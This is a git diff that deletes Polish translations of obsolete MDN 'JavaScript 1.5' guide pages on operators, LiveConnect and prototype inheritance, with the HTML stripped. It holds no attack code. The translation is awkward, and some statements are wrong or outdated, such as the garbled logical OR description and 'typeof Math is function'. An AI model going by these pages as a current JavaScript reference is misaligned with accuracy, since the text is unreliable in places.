||expr1 || expr2(Suma logiczna OR) Zwróć expr1, jeśli jest konwertowany do true; w innym wypadku, zwróci expr2 logiczną. Tak więc, kiedy użyjemy wartość || zwróci true, jeśli oba argumenty są prawdziwe; jeśli oba są fałszywe, zwróci false.
!!expr(Negacja logiczna NOT) Zwraca false, jeśli jest pojedynczy argument konwertuje do true; w innym przypadku, zwróci true.
-

Tabela: Operatory logiczne -

Przykłady wyrażeń, które potrafią być konwertowane do false, są to te, które prawie są ocenione do null, 0, pusty łańcuch (""), lub niezidentyfikowany. -

Następujący kod pokazuje przykład operatora && (logiczny AND). -

-
a1=true && true       // t && t zwraca true
-a2=true && false      // t && f zwraca false
-a3=false && true      // f && t zwraca false
-a4=false && (3 == 4)  // f && f zwraca false
-a5="Cat" && "Dog"     // t && t zwraca Dog
-a6=false && "Cat"     // f && t zwraca false
-a7="Cat" && false     // t && f zwraca false
-
-

Następujący kod pokazuje przykład operatora || (logiczny OR). -

-
o1=true || true       // t || t zwraca true
-o2=false || true      // f || t zwraca true
-o3=true || false      // t || f zwraca true
-o4=false || (3 == 4)  // f || f zwraca false
-o5="Cat" || "Dog"     // t || t zwraca Cat
-o6=false || "Cat"     // f || t zwraca Cat
-o7="Cat" || false     // t || f zwraca Cat
-
-

Następujący kod pokazuje przykład operatora ! (logiczny NOT). -

-
n1=!true              // !t zwraca false
-n2=!false             // !f zwraca true
-n3=!"Cat"             // !t zwraca false
-
-

Skrócona ocena

-

Wyrażenia logiczne są oceniane od lewego do prawego, są one testowane dla ewentualnych "skrótów" potrafiących wykonać wyrażenie wykonując następujące reguły:

- -

Zasady te są gwarancją, która te ewolucje zawsze poprawi. Notatka, która część coś_tam z powyższego wyrażenia jest nieoceniana, więc któraś strona nie wykona w pełni warunku jaki został założony. -

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory bitowe", "Przewodnik po języku JavaScript 1.5:Operatory:Operacje na łańcuchach") }} -

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_l\u00f3gicos", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_logiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Logical_Operators" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_por\303\263wnania/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_por\303\263wnania/index.html" deleted file mode 100644 index 304b64d5d6..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_por\303\263wnania/index.html" +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Operatory porównania -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_porównania -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Expressions_and_Operators -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Operators/Comparison_Operators ---- -

-

-

Operatory porównania

-

Operator porównania porównuje jego argumenty i zwraca logiczna wartość bazującą na sprawdzeniu czy wartość jest prawdziwa (true). Argumenty są wartościami liczbowymi, łańcuchowymi, logicznymi lub obiektowymi. Wartości łańcuchowe są porównywane z zasadami opartymi na zasadach zawartych w leksykonach, używając wartości Unicode. Poniższa tabela opisuje operatory porównania. -

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
OperatorOpisPrzykłady powrotu true1
Jest równe (==)Zwraca true, jeśli argumenty są równe. Jeśli dwa argumenty nie są tego samego typu, JavaScript próbuje konwertować argument do odpowiedniego typu dla porównania.3 == var1
-

"3" == var1
-

-3 == '3'
Nie jest równe (!=)Zwraca true, jeśli argumenty nie są równe. Jeśli dwa argumenty nie są tego samego typu, JavaScript próbuje konwertować argument do odpowiedniego typu dla porównania.var1 != 4
-var2 != "3"
Ściśle równe (===)Zwraca true, jeśli argumenty są równe i są tego samego typu.3 === var1
Ściśle nie jest równe (!==)Zwraca true, jeśli argumenty nie są równe i/lub nie są tego samego typu.var1 !== "3"
-3 !== '3'
Jest większe (>)Zwraca true, jeśli lewy argument jest większy niż prawy argument.var2 > var1
Jest większe lub równe (>=)Zwraca true, jeśli lewy argument jest większy lub równy prawemu argumentowi.var2 >= var1
-var1 >= 3
Jest mniejsze (<)Zwraca true, jeśli lewy argument jest mniejszy niż prawy argument.var1 < var2
Jest mniejsze lub równe (<=)Zwraca true, jeśli lewy argument jest mniejszy lub równy prawemu argumentowi. var1 <= var2
-var2 <= 5
-

Tabela: Operatory porównania -

1Ten przykład podsumowuje, że var1 ma przydzieloną wartość 3 i var2 ma przydzieloną wartość 4. -

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operatory przypisania", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory arytmetyczne") }} -

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_de_comparaci\u00f3n", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_de_comparaison", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_przypisania/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_przypisania/index.html" deleted file mode 100644 index 8af382eee6..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_przypisania/index.html" +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Operatory przypisania -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_przypisania -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Operatory przypisania

-

Operator przypisania przypisuje wartość do jego lewego argumentu bazującego na wartości z jego prawego argumentu. Zasadnicze znaczenie posiada operator (=), który znaczy 'Przypisanie' i przypisuje wartość prawego argumentu do lewego. Jest to: x = y przypisanie wartości y do x.

-

Inne operatory przypisania są stenografią dla standardowych operacji, jakie widzimy w poniższej tabeli.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Skrócony operatorZnaczenie
x += yx = x + y
x -= yx = x - y
x *= yx = x * y
x /= yx = x / y
x %= yx = x % y
x <<= yx = x << y
x >>= yx = x >> y
x >>>= yx = x >>> y
x &= yx = x & y
x ^= yx = x ^ y
x |= yx = x | y
-

Tabela: Operatory 'Przypisanie'

-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory porównania") }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_specjalne/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_specjalne/index.html" deleted file mode 100644 index 8ce2683d3f..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_specjalne/index.html" +++ /dev/null @@ -1,228 +0,0 @@ ---- -title: Operatory specjalne -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operatory_specjalne -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Expressions_and_Operators -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Operators/Special_Operators ---- -

-

-

Operatory specjalne

-

JavaScript udostępnia następujące operatory specjalne: -

- -

Operator warunkowy

-

Operator warunkowy jest tylko operatorem JavaScript, który pobiera trzy argumenty. Operator może mieć jedną lub dwie wartości oparte na warunku. Składnia: -

-
condition ? val1 : val2
-
-

Jeśli condition (warunek) jest prawdziwy (true), operator ma wartość val1. W przeciwnym razie posiada wartość val2. Możesz użyć operatora warunkowego wszędzie, gdzie będziesz używał operatorów standardowych. -

Na przykład: -

-
status = (age >= 18) ? "adult" : "minor"
-
-

Ta instrukcja przydziela wartość "adult" do status, jeśli posiada osiemnaście lub więcej lat. Z drugiej strony przydzielasz "minor" do status. -

-

Operator przecinka

-

Operator przecinka, prosty poszukujący obu argumentów zwracających drugi argument. Ten operator początkowo używany był wewnątrz pętli for. Pozwalał wielokrotnie na aktualizację zmiennych, za każdym razem kiedy pętla jest wykonywana.

Na przykład, jeśli a jest 2-u wymiarową tablicą z 10 elementami na stronę, następujący operator przecinkowy to kod użytkownika będący przyrostem dwóch zmiennych na raz. Kod drukuje wartości diagonalne elementów w tablicy: -

-
for (var i=0, j=9; i <= 9; i++, j--)
-   document.writeln("a["+i+","+j+"]= " + a[i*10 +j])
-
-

Uwaga te dwuwymiarowe tablice są już nie wspierane. Ten przykład emuluje dwuwymiarowe tablice używając jedno wymiarowej tablicy. -

-

delete

-

Operator delete usuwa obiekty, własności obiektów, lub elementy określone w indeksie tablicy. Składnia: -

-
delete objectName
-delete objectName.property
-delete objectName[index]
-delete property // legal only within a with statement
-
-

gdzie: objectName jest nazwą obiektu, property są to istniejące własności i index reprezentuje liczbę całkowita w lokalizacji z elementem tablicy.

Czwarta forma jest dopuszczalna tylko wewnątrz instrukcji with, aby usunąć własności z obiektu. -

Możesz użyć operator delete do usunięcia zmiennych zadeklarowanych bez zastrzeżeń, ale nie te z deklaracją instrukcji var. -

Jeśli operator delete jest prawidłowy, to ustawienia własności lub usuniętego elementu są nieczytelne (undefined). Operator delete zwraca true, jeśli operacja jest możliwa; zwraca false, jeżeli operacja nie jest możliwa.

-
x=42
-var y= 43
-myobj=new Number()
-myobj.h=4      // tworzy własności h
-delete x       // zwraca true (potrafi usunąć, jeśli zadeklarujemy brak zastrzeżeń)
-delete y       // zwraca false (nie potrafi usunąć jeśli zadeklarujemy z var)
-delete Math.PI // zwraca false (nie potrafi usunąć predefiniowanych własności)
-delete myobj.h // zwraca true (potrafi usunąć własności zdefiniowane przez użytkownika)
-delete myobj   // zwraca true (potrafi usunąć, jeśli zadeklarujemy brak zastrzeżeń)
-
-

Usuwanie tablicy elementów
-Kiedy operator delete usunie elementy tablicy, długość tablicy będzie nadal taka sama. Na przykład, jeśli usuniemy a{{ mediawiki.external(3) }}, a{{ mediawiki.external(4) }} to wciąż jest a{{ mediawiki.external(4) }} i a{{ mediawiki.external(3) }} ale niezdefiniowane. -

Kiedy operator delete usuwa element, który jest elementem tablicowym, taki element nie jest dłuższy w tablicy. W następnym przykładzie, trees{{ mediawiki.external(3) }} jest usunięty z delete. -

-
trees=new Array("redwood","bay","cedar","oak","maple")
-delete trees[3]
-if (3 in trees) {
-   // to nie zadziała
-}
-
-

Jeśli chcesz, aby element tablicy istniał, ale masz nieznaną wartość, użyj słowa kluczowego undefined zamiast operatora delete. W następnym przykładzie, jest przydzielona niezidentyfikowana wartość trees{{ mediawiki.external(3) }}, ale element tablicy nadal istnieje:

-
trees=new Array("redwood","bay","cedar","oak","maple")
-trees[3]=undefined
-if (3 in trees) {
-   // to zadziała
-}
-
-

in

-

Operator in zwraca true, jeśli specyficzne właściwości są w specyficznym obiekcie. Składnia:

-
propNameOrNumber in objectName
-
-

gdzie: propNameOrNumber jest łańcuchem znaków lub wyrażeniem liczbowym reprezentującym własności nazwy lub index tablicy, objectName jest nazwą obiektu. -

Następujący przykład używa operatora in. -

-
// Tablice
-trees=new Array("redwood","bay","cedar","oak","maple")
-0 in trees        // zwracają true
-3 in trees        // zwracają true
-6 in trees        // zwracają false
-"bay" in trees    // zwracają false (musisz mieć specyficzny numer indeksu,
-                  // nie ma wartości w tym indeksie)
-"length" in trees // zwracają true (długość jest własnością tablicy)
-
-// obiekty predefiniowane
-"PI" in Math          // zwracają true
-myString=new String("coral")
-"length" in myString  // zwracają true
-
-// obiekty użytkownika
-mycar = {make:"Honda",model:"Accord",year:1998}
-"make" in mycar  // zwracają true
-"model" in mycar // zwracają true
-
-

instanceof

-

Operator instanceof zwraca true, jeśli konkretny obiekt jest obiektem konkretnego typu. Składnia:

-
objectName instanceof objectType
-
-

gdzie: objectName jest nazwą obiektu do porównania z objectType a objectType jest typem obiektu, jak naprzykład Date lub Array. -

Używamy instanceof, kiedy potrzebujemy porównać typy uruchomionych obiektów. Na przykład, kiedy wystąpi wyjątek, to można, w zależności od zgłoszonego typu wyjątku rozgałęzić różną obsługę tego wyjątku. -

Na przykład, następujący kod używa instanceof do określenia czy theDay jest obiektem Date. Ponieważ theDay jest obiektem Date, instrukcja w if jest wykonywana. -

-
theDay=new Date(1995, 12, 17)
-if (theDay instanceof Date) {
-   // instrukcja do wykonania
-}
-
-

new

-

Użyj operatora new, aby utworzyć przykład definicji użytkownika typu obiektowego lub jednego z predefiniowanego typu obiektowego Array, Boolean, Date, Function, Image, Number, Object, Option, RegExp, lub String. Na serwerze możesz, używać także z DbPool, Lock, File lub SendMail. Użyj new w następującym kodzie: -

-
objectName = new objectType ( param1 [,param2] ...[,paramN] )
-
-

Możemy także tworzyć obiekty używając inicjatorów obiektu opisanych na stronie Używanie inicjacji obiektu. -

Zobacz więcej na temat operatora new w dokumentacji JavaScript. -

-

this

-

Użyj słowa kluczowego this do wskazania aktualnego obiektu. Generalnie, this wskazuje nazwę obiektu w metodzie. Używamy go następująco:

-
this[.propertyName]
-
-

Przykład 1.
-Załóżmy że funkcja validate zatwierdza właściwą wartość, przekazując obiekt oraz górny i dolny zakres.

-
function validate(obj, lowval, hival) {
-   if ((obj.value < lowval) || (obj.value > hival))
-      alert("Invalid Value!")
-}
-
-

Teraz możesz wywoływać validate w każdym formularzu korzystając z zdarzenia onChange. -Używamy this do przekazania elementu w formularz, tak jak w przykładzie: -

-
<B>Wprowadź liczbę pomiędzy 18 i 99:</B>
-<INPUT TYPE = "text" NAME = "age" SIZE = 3
-   onChange="validate(this, 18, 99)">
-
-

Przykład 2.
-Kiedy kombinujesz z własnościami form, zostaniesz skierowany do tymczasowego obiektu znajdującego się w obrębie tego formularza. W następującym przykładzie, formularz myForm składa się z obiektu Text i przycisku. Kiedy użytkownik kliknie w przycisk, wartość obiektu Text ustawia się na nazwę formularza. Przycisk zawiera zdarzenie onClick używane za pomocą uchwytu this.form do wywołania go w tym samym formularzu, myForm. -

-
<FORM NAME="myForm">
-Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga">
-<P>
-<INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
-   onClick="this.form.text1.value=this.form.name">
-</FORM>
-
-

typeof

-

Operator typeof jest użyty w jednej z dwóch sytuacji: -

-
1. typeof operand
-2. typeof (operand)
-
-

Operator typeof zwraca łańcuch zwracający typ nie ocenionego argumentu. Argumentem (operand) jest łańcuch, zmienna, słowo kluczowe lub obiekt, dla którego ten typ będzie zwracany. Nawiasy są opcjonalne.

Przypuśćmy, że zdefiniujemy następujące zmienne:

-
var myFun = new Function("5+2")
-var shape="round"
-var size=1
-var today=new Date()
-
-

Operator typeof zwraca następujący rezultat dla tych zmiennych:

-
typeof myFun is function
-typeof shape is string
-typeof size is number
-typeof today is object
-typeof dontExist is undefined
-
-

Dla słowa kluczowego true i null, operator typeof zwraca następujący rezultat:

-
typeof true is boolean
-typeof null is object
-
-

Dla liczby lub łańcucha znaków, operator typeof zwraca następujący rezultat: -

-
typeof 62 is number
-typeof 'Hello world' is string
-
-

Dla wartości własności, operator typeof zwraca właściwość stanowiącą typ zmiennej: -

-
typeof document.lastModified is string
-typeof window.length is number
-typeof Math.LN2 is number
-
-

Dla metod lub funkcji, operator typeof zwraca następujący rezultat: -

-
typeof blur is function
-typeof eval is function
-typeof parseInt is function
-typeof shape.split is function
-
-

Dla obiektów predefiniowanych, operator typeof zwraca następujący rezultat:

-
typeof Date is function
-typeof Function is function
-typeof Math is function
-typeof Option is function
-typeof String is function
-
-

void

-

Operator void jest użyty w jednym z następujących przypadków: -

-
1. void (expression)
-2. void expression
-
-

Operator void określa wykonane wyrażenie bez zwracania wartości. expression jest wyrażeniem JavaScript do wykonania. Nawiasy otaczające wyrażenie są opcjonalne, jednak dobrym stylem jest ich stosowanie. -

Możemy zastosować operator void do określenia wyrażenia jako hipertekstowy odnośnik. Wyrażenie jest wykonywane ale nie jest wczytywane w miejsce bieżącego dokumentu. -

Następujący kod tworzy odnośnik hipertekstowy, który nic nie wywoła w momencie, kiedy użytkownik go kliknie. Kiedy użytkownik kliknie w odnośnik, to wykonane zostanie niezidentyfikowane wyrażenie void(0), które nie ma żadnego efektu w języku JavaScript. -

-
<a href="javascript:void(0)">Kliknij tu, nie robiąc nic</a>
-
-

Następujący kod tworzy odnośnik, który przedłoży (prześle) zawartość formularza w momencie, kiedy użytkownik naciśnie przycisk formularza. -

-
<a href="javascript:void(document.form.submit())">Kliknij tutaj, aby przesłać zawartość formularza</a>
-
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operacje na łańcuchach", "Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory#Pierwszeństwo_operatorów") }} -

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_especiales", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_sp\u00e9ciaux", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Special_Operators" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/podgl\304\205d_klas_liveconnect/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/podgl\304\205d_klas_liveconnect/index.html" deleted file mode 100644 index 2dd4acf285..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/podgl\304\205d_klas_liveconnect/index.html" +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Podgląd klas LiveConnect -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

-

-

Podgląd klas LiveConnect

-
Praca z klasą opakowującą -
-
Komunikacja między JavaScript a Java -
-
Obiekt opakowujący -
-
-
Praca z tablicami w Javie -
-
-
Referencja paczki i klasy -
-
-
Argumenty typu char -
-
-
Obsługa wyjątków Javy w JavaScript -
-
-
Komunikacja między Java a JavaScript -
-
Używanie klas LiveConnect -
-
-
Konwersja typu danych -
-
Konwersja JavaScript do Java -
-
-
Konwersja Java do JavaScript -
-
-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/powr\303\263t_dziedziczenia_w\305\202asno\305\233ci/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/powr\303\263t_dziedziczenia_w\305\202asno\305\233ci/index.html" deleted file mode 100644 index 2467b1c315..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/powr\303\263t_dziedziczenia_w\305\202asno\305\233ci/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Powrót dziedziczenia własności -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Property_Inheritance_Revisited ---- -

-

-

Powrót dziedziczenia własności

-

W poprzednim temacie zostało opisane jak w JavaScript działają prototypy konstruktorów dostarczające hierarchie i dziedziczenie. Ten temat omawia kilka podtematów, które były konieczne do omówienia we wcześniejszych dyskusjach.

-
Wartości lokalne vs. dziedziczone -
Określanie wzajemnych relacji obiektu -
Globalne informacje w konstruktorach -
Brak wielokrotnego dziedziczenia -
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Więcej elastycznych konstruktorów", "Przewodnik po języku JavaScript 1.5:Powrót dziedziczenia własności:Wartości lokalne vs. dziedziczone") }} -

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/powr\303\263t_dziedziczenia_w\305\202asno\305\233ci/warto\305\233ci_lokalne_vs._dziedziczone/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/powr\303\263t_dziedziczenia_w\305\202asno\305\233ci/warto\305\233ci_lokalne_vs._dziedziczone/index.html" deleted file mode 100644 index 493a6b4156..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/powr\303\263t_dziedziczenia_w\305\202asno\305\233ci/warto\305\233ci_lokalne_vs._dziedziczone/index.html" +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Wartości lokalne vs. dziedziczone -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Powrót_dziedziczenia_własności/Wartości_lokalne_vs._dziedziczone -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model -translation_of_original: >- - Web/JavaScript/Guide/Obsolete_Pages/Property_Inheritance_Revisited/Local_versus_Inherited_Values ---- -

-

-

Wartości lokalne vs. dziedziczone

-

Gdy korzystasz z dostępu do własności obiektu, JavaScript wykonuje następujące kroki, tak jak opisano w poprzednim rozdziale: -

-
  1. Sprawdza czy wartość istnieje lokalnie. Jeśli tak, to zwraca tę wartość. -
  2. Jeśli wartość lokalna nie istnieje, sprawdza łańcuch prototypu (używając własności __proto__). -
  3. Jeśli obiekt w łańcuchu prototypu posiada wartość dla określonej wartości, zwraca tę wartość. -
  4. Jeśli własność ta nie została odnaleziona, to obiekt nie posiada tej własności. -
-

Rezultat tych kroków zależy od sposobu, w jaki definiujesz rzeczy w kodzie. Oyginalny przykład używał następujących definicji: -

-
function Employee () {
-this.name = "";
-this.dept = "general";
-}
-
-function WorkerBee () {
-this.projects = [];
-}
-WorkerBee.prototype = new Employee;
-
-

Przypuśćmy, że wraz z tymi definicjami utworzyłeś amy jako instancję WorkerBee za pomocą poniższej instrukcji: -

-
amy = new WorkerBee;
-
-

Obiekt amy posiada jedną lokalną własność, projects. Wartości własności name i dept nie są lokalne dla amy i dlatego są pobrane z własności __proto__ obiektu amy. W ten sposób amy posiada następujące wartości własności: -

-
amy.name == "";
-amy.dept = "general";
-amy.projects == [];
-
-

Teraz przypuśćmy, że zmienisz wartość własności name w prototypie powiązanym z Employee: -

-
Employee.prototype.name = "Unknown"
-
-

Na pierwszy rzut oka może Ci sie wydawać, że nowa wartość zostanie przekazana dalej do wszystkich instancji Employee. Nie dzieje się tak. -

Gdy tworzysz dowolną instancję obiektu Employee, instancja ta otrzymuje lokalną wartość dla własności name (pusty ciąg znaków). Oznacza to, że gdy ustawisz prototyp WorkerBee poprzez utworzenie nowego obiektu Employee, WorkerBee.prototype posiada lokalną wartość dla własności name. Dlatego więc, gdy JavaScript sprawdza własność name obiektu amy (instancji WorkerBee), JavaScript znajduje lokalną wartość dla tej własności w WorkerBee.prototype. Dlatego też nie sprawdza on łańcucha dalej aż do Employee.prototype. -

Jeśli chcesz zmienić wartość własności obiektu w momencie uruchomienia i sprawić, by była ona dziedziczona przez wszystkich potomków obiektu, nie możesz zdefiniować własności w funkcji konstruktora obiektu. Zamiast tego dodaj ją do prototypu powiązanego z konstruktorem. Na przykład, zakładając zmianę poprzedniego kodu na poniższy: -

-
function Employee () {
-   this.dept = "general";
-}
-Employee.prototype.name = "";
-
-function WorkerBee () {
-this.projects = [];
-}
-WorkerBee.prototype = new Employee;
-
-amy = new WorkerBee;
-
-Employee.prototype.name = "Unknown";
-
-

W tym wypadku własność name obiektu amy przyjmuje wartość "Unknown". -

Jak pokazuję powyższe przykłady, jeśli chcesz zachować domyślne wartości dla własności obiektu i móc zmienić domyślne wartości w momencie uruchomienia, powinieneś utworzyć własności w prototypie konstruktora, a nie w samej funkcji konstruktora. -{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Powrót dziedziczenia własności", "Przewodnik po języku JavaScript 1.5:Powrót dziedziczenia własności:Określanie wzajemnych relacji obiektu") }} -

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Local_versus_Inherited_Values", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades/Valores_locales_frente_a_los_heredados", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Local_versus_Inherited_Values" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/index.html" deleted file mode 100644 index 28e5f9255c..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/index.html" +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Praca z przykładem -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Przykład obiektu Pracownik

-

Dalsza część tego rozdziału opiera się na hierarchii pracowników przedstawionej na poniższym rysunku.

-

Grafika:hier01.png

-

Rysunek 8.1: Prosta hierarchia obiektu

-

W przykładzie tym zostały użyte następujące obiekty:

- -

Pozostała część przykładu:

- -
-

{{ PreviousNext("Przewodnik_po_języku_JavaScript_1.5:Języki_oparte_na_klasach_vs._oparte_na_prototypach", "Przewodnik_po_języku_JavaScript_1.5:Praca_z_przykładem:Tworzenie_hierarchii") }}

-
-

 

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/tworzenie_hierarchii/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/tworzenie_hierarchii/index.html" deleted file mode 100644 index a15422c92d..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/tworzenie_hierarchii/index.html" +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Tworzenie hierarchii -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Tworzenie_hierarchii -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Tworzenie hierarchii

-

Istnieje kilka sposobów zdefiniowania odpowiednich funkcji konstruktora do zaimplementowania hierarchii Pracownik. To w jaki sposób zdecydujesz się je zdefiniować zależy głównie od tego, co chcesz zrobić w swojej aplikacji.

-

Ten fragment pokazuje jak użyć prostych (i stosunkowo mało elastycznych) definicji w celu zademonstrowania dziedziczenia. W tych definicjach nie możesz określić żadnych wartości własności podczas tworzenia obiektu. Nowo utworzony obiekt po prostu otrzymuje wartości domyślne, które możesz zmienić później. Rysunek 8.2 ilustruje hierarchię wraz z tymi prostymi definicjami.

-

W prawdziwej aplikacji zdefiniowałbyś prawdopodobnie konstruktory, które pozwoliłyby Ci na zapewnienie własnościom wartości w czasie tworzenia obiektu (zobacz więcej elastycznych konstruktorów, aby uzyskać więcej informacji). Na chwilę obecną te proste definicje zademonstrują jak objawia się dziedziczenie.

-

Grafika:hier02.png
- Rysunek 8.2: Definicje obiektu Pracownik

-

Poniższe definicje obiektu Pracownik w Javie i JavaScripcie są podobne. Różnią się one jedynie tym, że w Javie musisz określić typ każdej własności (w przeciwieństwie do JavaScriptu) oraz musisz stworzyć wyraźną metodę konstruktora dla klasy Javy.

-

</tr>

- - - - - - - - - - - -
JavaScriptJava
-
-function Pracownik () {
-this.imie = "";
-this.dept = "ogólny";
-}
-
-
-
-public class Pracownik {
-   public String imie;
-   public String dept;
-   public Pracownik () {
-      this.imie = "";
-      this.dept = "ogólny";
-   }
-}
-
-
-

